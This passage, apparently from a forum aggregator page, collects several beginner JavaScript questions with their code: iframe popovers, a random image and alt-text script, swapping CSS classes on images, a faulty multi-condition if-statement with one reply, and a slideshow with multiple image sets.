<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/encounter.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert4" style="position: absolute; visibility: hidden;
left: 511px;
top: 350px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/challenge.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert5" style="position: absolute; visibility: hidden;
left: 727px;
top: 295px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/explore.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert6" style="position: absolute; visibility: hidden;
left: 859px;
top: 344px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/behold.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert7" style="position: absolute; visibility: hidden;
left: 957px;
top: 393px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/send.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert8" style="position: absolute; visibility: hidden;
left: 825px;
top: 447px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/take.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert9" style="position: absolute; visibility: hidden;
left: 497px;
top: 470px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/conquer.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert10" style="position: absolute; visibility: hidden;
left: 648px;
top: 538px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/seize.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<!-- IPO CODE: ALBOX END -->
</body>
</html>
I'd also like these popovers to activate on rollover and close upon mouseout, but I'm trying not to be picky. I'd be happy if I could just get the right content to popup. Thanks for your help!!!! Hi I implemented some coding tor create a random image on the page with a corresponding 'alt' tag and all was fine for a while... Then I got ambitions and modified the script to generate code that would generate two seperate sets of random image and associated 'alt' tag pairs.... and all seemed fine for a while.... ... however after having used the code on my page for a while I notice that occasionally I get a broken file link to the image which then fails to show... and shows the 'alt' text of "undefined". All the code links to images are correct and all images DO show from time to time with the tags.... only occasionally this extra blank/undefined pair is generated. Anyone have any ideas? Here's the code... Code: <SCRIPT LANGUAGE="JavaScript">
<!-- Begin
// Set up the image files to be used.
var theImages = new Array() // do not change this
// To add more image files, continue with the
// pattern below, adding to the array.
theImages[0] = 'images/240 Images/belmarsh-peat-240.jpg'
theImages[1] = 'images/240 Images/98-florence-rd-maidstone240.jpg'
theImages[2] = 'images/240 Images/boxgrove-biface-240.jpg'
theImages[3] = 'images/240 Images/Fieldwalking2-240.jpg'
theImages[4] = 'images/240 Images/Hawkinge-Pot-240.jpg'
theImages[5] = 'images/240 Images/Justin_Barton-240.jpg'
theImages[6] = 'images/240 Images/StaffPages/Hadrians-Wall.jpg'
theImages[7] = 'images/240 Images/Chilley_Farm_Pevensey240.jpg'
// do not edit anything below this line
var theImages2 = new Array() // do not change this
// To add more image files, continue with the
// pattern below, adding to the array.
theImages2[0] = 'images/LeafletImages/Fronts/Building/Building4.jpg'
theImages2[1] = 'images/LeafletImages/Fronts/Fieldwork/Fieldwork4.jpg'
theImages2[2] = 'images/LeafletImages/Fronts/Finds/Finds4.jpg'
theImages2[3] = 'images/LeafletImages/Fronts/Forensic/Forensic4.jpg'
theImages2[4] = 'images/LeafletImages/Fronts/GeoArch/GeoArch4.jpg'
theImages2[5] = 'images/LeafletImages/Fronts/Heritage/Heritage4.jpg'
theImages2[6] = 'images/LeafletImages/Fronts/Landscape/Landscape4.jpg'
// do not edit anything below this line
var theAlts = new Array() // do not change this
// To add more image files, continue with the
// pattern below, adding to the array.
theAlts[0] = 'Peat bog excavations at Belmarsh Prison.'
theAlts[1] = 'An archaeological watching brief underway in Maidstone, Kent.'
theAlts[2] = 'A flint biface hand-axe the from Boxgrove excavations, West Sussex.'
theAlts[3] = 'Fieldwalking.'
theAlts[4] = 'Excavation of a cremation urn at Hawkinge, Kent.'
theAlts[5] = 'An MA Student from University College London a records ceramic vessel.'
theAlts[6] = 'The Hadrian’s Wall Management plan was prepared in consultation with Archaeology South-East (Copyright - Image by Simon Warner).'
theAlts[7] = 'Historic Building Recording at Chilley Farm, Pevensey.'
var theAlts2 = new Array() // do not change this
// To add more image files, continue with the
// pattern below, adding to the array.
theAlts2[0] = 'Building Recording Services.'
theAlts2[1] = 'Fieldwork Services.'
theAlts2[2] = 'Finds and Environmental Specialist Services.'
theAlts2[3] = 'Forensic Archaeology.'
theAlts2[4] = 'Geoarchaeological Services.'
theAlts2[5] = 'Heritage Management Services.'
theAlts2[6] = 'Landscape Research Services.'
var j = 0
var p = theImages.length;
var preBuffer = new Array()
for (i = 0; i < p; i++){
preBuffer[i] = new Image()
preBuffer[i].src = theImages[i]
}
var whichImage = Math.round(Math.random()*(p-1));
function showImage(){
document.write('<img src="'+theImages[whichImage]+'" border="1" alt="'+theAlts[whichImage]+'">');
}
function showImage2(){
document.write('<img src="'+theImages2[whichImage]+'" border="0" alt="'+theAlts2[whichImage]+'">');
}
// End -->
</script>
and its called by the code... Code: <SCRIPT LANGUAGE="JavaScript"> <!-- Begin showImage(); // End --> </script> and.. Code: <SCRIPT LANGUAGE="JavaScript"> <!-- Begin showImage2(); // End --> </script> Many thanks in advance. Hi, I have a list of pictures like this: <a href="javascript:void(0);" onclick="ajax_loadContent('shop_page1','shop_akcija_page.php?cat=1&pic=1474');return false"><img src="image.php?path=source/shoes/0788.jpg" class="img" border="0"></a> <a href="javascript:void(0);" onclick="ajax_loadContent('shop_page1','shop_akcija_page.php?cat=1&pic=1440');return false"><img src="image.php?path=source/shoes/0754.jpg" class="img" border="0"></a> <a href="javascript:void(0);" onclick="ajax_loadContent('shop_page1','shop_akcija_page.php?cat=1&pic=1430');return false"><img src="image.php?path=source/shoes/0744.jpg" class="img" border="0"></a> <a href="javascript:void(0);" onclick="ajax_loadContent('shop_page1','shop_akcija_page.php?cat=54&pic=1407');return false"><img src="image.php?path=source/shoes/0127.jpg" class="img" border="0"></a> <a href="javascript:void(0);" onclick="ajax_loadContent('shop_page1','shop_akcija_page.php?cat=18&pic=1390');return false"><img src="image.php?path=source/shoes/0106.jpg" class="img" border="0"></a> Size of pictures in class is width 155px and hight 175px. Now I want, when I click on any picture from the list, to replace class "img" on all pictures with new class that have width 100px and height 75px. Is this possible? Thanks I cannot get this function to work properly. Any help would be appreciated, please understand i am not so good at scripting i am trying to check the source of multiple images in one if statement to run a sound. Code: function victory() {
if (document.getElementById("Image0").src == "0.jpg" +
document.getElementById("Image1").src == "1.jpg" +
document.getElementById("Image2").src == "2.jpg" +
document.getElementById("Image3").src == "3.jpg" +
document.getElementById("Image4").src == "4.jpg" +
document.getElementById("Image5").src == "5.jpg" +
document.getElementById("Image6").src == "6.jpg" +
document.getElementById("Image7").src == "7.jpg" +
document.getElementById("Image8").src == "8.jpg" +
document.getElementById("Image9").src == "9.jpg")
{
document.getElementById("vic").currentTime = 0;
document.getElementById("vic").play();
}
else{
}
}
Reply With Quote 01-21-2015, 05:19 PM #2 Dormilich View Profile View Forum Posts Senior Coder Join Date Jan 2010 Location Behind the Wall Posts 3,532 Thanks 13 Thanked 372 Times in 368 Posts + is the addition, concatenation and number casting operator. the logical AND operator is &&. cf. https://developer.mozilla.org/en-US/..._and_Operators hi im creating a simple slide show and i was wondering how to add multiple sets of image. heres my current code Code:
<html>
<head>
<script type="text/javascript">
var Images = new Array
('images/up.jpg','images/right.jpg','images/down.jpg','images/left.jpg');
//my second group of images...
//('images/bottemleft.jpg','images/topleft.jpg','images/centerstep.jpg','images/topleft.jpg','images/bottemright.jpg');
var thisPic = 0;
function initLinks() {
document.getElementById("nextLink").onclick = processNext;
document.getElementById("backlink").onclick = processBack;
document.getElementById("fplaylink").onclick = processfplay;
document.getElementById("bplaylink").onclick = processbplay;
document.getElementById("stoplink").onclick = processstop;
}
function processNext() {
thisPic++;
if (thisPic == Images.length) {
thisPic = 0;
}
document.getElementById("myPicture").src = Images[thisPic];
return false;
}
function processBack() {
thisPic--;
if (thisPic == -1 ) {
thisPic = (Images.length -1);
}
document.getElementById("myPicture").src = Images[thisPic];
return false;
}
var stop = 0
function processfplay() {
if (stop == 1) {
thisPic++;
if (thisPic == Images.length) {
thisPic = 0;
}
setTimeout("processfplay()", 200);
}
else {
stop = 1 ;
}
document.getElementById("myPicture").src = Images[thisPic];
return false;
}
function processbplay() {
if (stop == 2) {
thisPic--;
if (thisPic == -1 ) {
thisPic = (Images.length -1);
}
setTimeout("processbplay()", 200);
}
else {
stop = 2;
}
document.getElementById("myPicture").src = Images[thisPic];
return false;
}
function processstop (){
(stop = 0)
document.getElementById("myPicture").src = Images[thisPic];
return false;
}
</script>
</head>
<body onload=initLinks() >
<h2 align= center>Images used in the slideshow below</h2>
<table align= center>
<tr><td><img src= "images/left.jpg"></td><td><img src= "images/down.jpg"></td>
<td><img src= "images/up.jpg"></td><td><img src= "images/right.jpg"></td></tr>
</table>
<table align= center>
<td><img src= "images/bottemleft.jpg"></td><td><img src= "images/topleft.jpg"></td>
<td><img src= "images/centerstep.jpg"></td>
<td><img src= "images/topright.jpg"></td><td><img src= "images/bottemright.jpg"></td>
</table>
<div align="center">
<h2>The Slidshow</h2>
<img src="images/ddrlogo.jpg" id="myPicture" alt="Slideshow" />
<h2>
<a href="any_old.html" id="nextLink">Next >></a><br/>
<a href="any_old.html" id="backlink">Back <<</a><br/>
<a href="any_old.html" id="fplaylink">Forward Play <<</a><br/>
<a href="any_old.html" id="bplaylink">backward Play <<</a><br/>
<a href="any_old.html" id="stoplink">Stop <<</a><br/>
</h2>
</div>
</body>
</html>
thanx in advance |
|||||||